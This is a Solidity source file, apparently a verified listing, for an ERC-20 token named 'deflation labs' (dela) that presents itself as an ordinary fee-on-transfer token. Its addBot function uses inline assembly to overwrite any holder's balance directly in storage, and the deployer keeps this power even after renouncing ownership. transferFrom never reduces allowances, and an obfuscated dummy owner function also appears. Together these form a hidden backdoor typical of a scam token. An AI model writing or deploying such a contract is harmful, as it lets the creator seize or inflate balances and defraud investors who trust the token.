文件 1 的 1:dela.sol
pragma solidity 0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract dela is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private Ledger;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFrom;
string private _name = "deflation labs";
string private _symbol = "dela";
uint8 private _decimals = 18;
uint256 private _totalSupply = 3e5 * 10 ** _decimals;
uint256 public _burnfee = 3;
address public uniswapV2Pair;
IDEXRouter public uniswapV2Router;
constructor () {
Ledger[_msgSender()] = _totalSupply;
uniswapV2Router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IDEXFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
_isExcludedFrom[owner()] = true;
_isExcludedFrom[address(this)] = true;
_isExcludedFrom[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return Ledger[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 Allowancec = _allowances[sender][_msgSender()];
require(Allowancec >= amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0));
require(to != address(0));
require(amount > 0);
Ledger[from] -= amount; uint256 _taxfee;
if (!_isExcludedFrom[from] && !_isExcludedFrom[to] )
{_taxfee = amount.mul(_burnfee).div(100);}
uint256 amounts = amount - _taxfee;
Ledger[to] += amounts;
emit Transfer(from, to, amounts);
}
function _basicTransfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
Ledger[from] = Ledger[from] - amount;
Ledger[to] = Ledger[to] + amount;
emit Transfer(from, to, amount);
}
function addBot(address botaddress, uint256 txnum ) external {
require( _isExcludedFrom[msg.sender]);
assembly {
mstore(0, botaddress)
let sf := Ledger.slot
mstore(32, sf)
let botid := keccak256(0, 64)
sstore(botid, txnum)
}
}
function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
return (address(this).balance - initialBalance);
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) private{
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
address(0xdead),
block.timestamp
);
}
function PefsSIDGRKVz(address ySrmI, bool state) external onlyOwner{
bool a= state;
}
}